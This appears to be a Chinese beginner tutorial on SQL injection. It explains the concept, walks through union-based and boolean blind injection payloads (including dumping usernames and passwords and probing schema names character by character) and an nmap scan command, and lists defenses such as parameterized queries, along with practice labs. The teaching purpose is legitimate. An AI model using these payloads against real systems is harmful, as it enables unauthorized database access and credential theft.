SQL注入-入门需了解项目
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 什么是SQL?
- 一、SQL注入
- 1.什么是SQL注入
- 2.SQL注入漏洞的原理是什么?
- 3.SQL注入漏洞产生的基本前提
- 4.SQL注入的漏洞危害
- 二、SQL注入思路
- 1.字符型示例
- 2.特殊数据库
- 3.获取表中数据
- 三、SQL注入-布尔型盲注
- 1.盲注常用函数
- 2.测试(根据实际情况加以修改)
- 四、SQL注入漏洞防御
- 总结
什么是SQL?
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
提示:以下是本篇文章正文内容,下面文章可供参考
一、SQL注入
1.什么是SQL注入
所谓SQL注入,就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
2.SQL注入漏洞的原理是什么?
WEB应用程序中,动态网页很多都是需要与后台的数据库进行交互的,由网站内部直接发送的Sql请求一般不会有危险,但实际情况中,很多时候需要结合用户的输入数据来动态构造 Sql 语句。所以如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会造成SQL注入漏洞。
3.SQL注入漏洞产生的基本前提
有参数传递
参数值会带入数据库中进行操作
4.SQL注入的漏洞危害
攻击者可以通过该漏洞来查询数据库中的敏感信息,进行脱裤操作。 绕过验证,例如绕过验证登陆网站后台。 万能密码
会被删库、改库,甚至通过漏洞获取数据库服务器shell
在某些条件下,攻击者甚至可以通过注入漏洞,借助数据库的存储过程进行提权等操作。mysql >>> root
二、SQL注入思路
- 判断是否存在注入,注入是字符型还是数字型,目标数据库类型是什么。
- 猜解SQL查询语句中的字段数
- 确定回显位置
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 得到数据
1.字符型示例
代码如下(示例):
判断是否存在注入点:
输入单引号,返回mysql的报错。判断注入类型:
1’ and 1=1# 返回正常
1’ and 1=2# 返回不正常
表示是字符型注入。判断目标数据库类型:
从前面的报错信息可以判断目标是MySQL
使用nmap扫描目标服务器。“nmap –sS –sV xx.xx.xx.xx”一般情况下,如果目标服务器的数据库可直接外部访问,那么就可以扫描到对应的数据库类型。
如果不可以直接外部访问,可以根据web服务器的软件来猜测。
比如上图扫描出Apache,那么就可能是MySQL,如果扫描出IIS,那么就可能是SQL Server3. 从目标网站的编程语言类型PHP可判断,该数据库类型可能是MySQL。
4. 如果编程语言是ASP或.Net,数据库就可能是Microsoft SQL Server;
5. 如果编程语言是Java,那么数据库就可能是Oracle/MySQL。猜解字段数:
1’ order by 1/2/3/…#ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序,
使用数字是直接用字段所在的位置来代替字段名。确定目标 查询了2列。确定回显位置:
union select 1,2UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
2.特殊数据库
MySQL 5.0以上版本存在比较特殊的数据库–INFORMATION_SCHEMA ,如数据库名,数据库的表,表栏的数据类型与访问权限等其中保存着关于MySQL服务器所维护的所有其他数据库的信息。而5.0以下的版本没有。
其中重要的三个表:SCHEMATA;TABLES;COLUMNS。
SCHEMATA 储存mysql所有数据库的基本信息,包括数据库名(SCHEMA_NAME),编码类型路径等
TABLES
储存mysql中的表信息,包括这个表是基本表还是系统表,引擎是什么,表有多少行,创建时间,最后更新时间等。(数据库名TABLE_SCHEMA,表名TABLE_NAME)COLUMNS
储存mysql中表的列信息,包括这个表的所有列(COLUMN_NAME)以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等
查询数据库代码如下(示例):
查询当前数据库版本:
1’union select version(),database()#查询数据库中的表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
该处使用的url网络请求的数据。
3.获取表中数据
获取表中的字段名:
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#获取表中的用户名、密码:
1’ union select user, password from users#
三、SQL注入-布尔型盲注
1.盲注常用函数
返回字符串的长度:length()
截取字符串: mid();left();right();substr();substring()
ascii编码:ord();ascii();
ascii码转字符:char()
挂起程序:sleep(n)
判断语句:if(expr1,expr2,expr3) 如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
2.测试(根据实际情况加以修改)
1、测试注入点:1’ or 1=1# 如果是GET方式注入,需要进行url编码
2、 length判断数据库长度:id=1’ and length(database())=4–+
3、mid(str,start,count)截取字符串:id=1’ and mid((database()),1,1)=‘d’–+
4、猜测表名总长度:id=1’ and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=15–+
5、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)))>=100–+
6、通过二分法,依次测试,得到第一个字符的ascii值为103,对应字母g
7、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)))=117–+
其ascii值对应字母为u
剩余流程就根据实际情况、需要调试
四、SQL注入漏洞防御
- 限制用户的输入,比如前端限制选择,后端限制英文、数字等常规字符(缺点:可能存在特殊情况)
- 特殊字符/关键字的过滤、转义(缺点:特殊字符众多,可能会有漏掉的)
- 把参数传到存储过程进行处理。(缺点:并不是所有数据库都支持存储过程,如果存储过程中所执行的语句也是拼接得来,依然可能存在漏洞)
- 参数化查询,在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。(当前公认的效果最好的SQL注入防御手段)
- PDO技术(PHP Data Object,缺点:只适用于PHP。可用于PHP中的参数化查询)
- magic_quotes_gpc()函数(缺点:依然存在被绕过的可能,且只是PHP的函数)
- 安装WAF(Web Application Firewall)(缺点:可能被绕过。比如当参数为数字型的时候,且未经过Intval()函数的处理)
- mysql_real_escape_string()
总结
虽然很多人说用工具注入sql是没有灵魂的,但架不住好用呀:现在常用的SQL注入工具有HackBar、SQLMap、Pangolin、Havij、Safe3 SQL injector及超级SQL注入工具等。
sql注入常用靶场:
SQLI-LABS
php5: https://github.com/Audi-1/sqli-labs
php7: https://github.com/skyblueee/sqli-labs-php7
SQL注入-入门需了解项目相关推荐
- SQL注入检测模块开源项目DRUID-SQL-WALL学习小结
作为sql注入原理.sql注入检测.防御系列学习的第三篇.本文主要关注了抽象语法树ast在sql注入检测上的应用开发.以及开源项目druid-sql-wall的学习,希望能给研究这一领域的朋友带来一点 ...
- Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)
文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...
- sql 注入 预防_SQL注入:检测和预防
sql 注入 预防 摘要 (Summary) With an understanding of what SQL injection is and why it is important to an ...
- SQL防注入大全——史上最全的 SQL 注入资料
什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...
- java防止sql注入方正_有效防止SQL注入的5种方法总结
sql注入入门 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入漏洞存在的原因,就是拼接 SQL 参数.也就是将用于输入的查询参数,直接拼接在 SQ ...
- 使用kali完成sql注入
使用kali完成sql注入 本文仅用于学术参考分享,如有侵权,请联系作者删除,请勿随意对网站进行sql注入 前期准备 1.kali虚拟机(自带sql注入所需工具) 2.能够进行注入的网站 实验步骤 1 ...
- 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(六)-SQL注入数字型
目录 前言: 一.SQL 注入漏洞简介 1.简介 2.危害 3.利用 4.防范 二.相关配置 三.编写"SQL 注入漏洞-数字型注入"后端代码 1.使用 springboot 框架 ...
- SQL注入攻防入门详解
转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...
- SQL 注入攻防入门详解
为什么80%的码农都做不了架构师?>>> SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...
最新文章
- JVM实用参数 GC日志
- JQuery新浪1630个表情插件
- 机器人 陆梅东_机器人知识与实践比赛获奖 - 上海徐汇区青少年活动中心
- AMD 发布 Stream SDK for Linux
- 【IDEA】IDEA 设置 字体 可以滚轮 改变大小
- UI设计师遇到瓶颈如何自我提升?
- 文件读、写、追加的区别 Python
- html和css实现时间表,前端 CSS : 6# 纯 CSS 实现时间线
- 小米12s 12sU 12sP 12x 12pro天玑版等小米机型通用解锁bl 刷写root全部步骤教程
- GOOGLE本地搜索
- Luarocks 安装艰难过程
- DFT泄漏 频谱泄漏 (FFT)
- 图像纹理特征总体简述
- 【0005】删除文件时,提示你需要权限才能执行此操作
- SAP License:SAP HR人力资源管理系统
- 引进国外SD-WAN技术,凌锐蓝信为企业提供跨境网络连接服务
- 第十六届全国大学生智能汽车比赛—摄像头算法控制总结
- Axure中插入Highcharts动态图表
- eclipse 中 svn 代码报错如下 org.apache.subversion.javahl.ClientException:Filesystem has no item
- 经纬度换算数值_如何在Excel中将经纬度数值转换成度分秒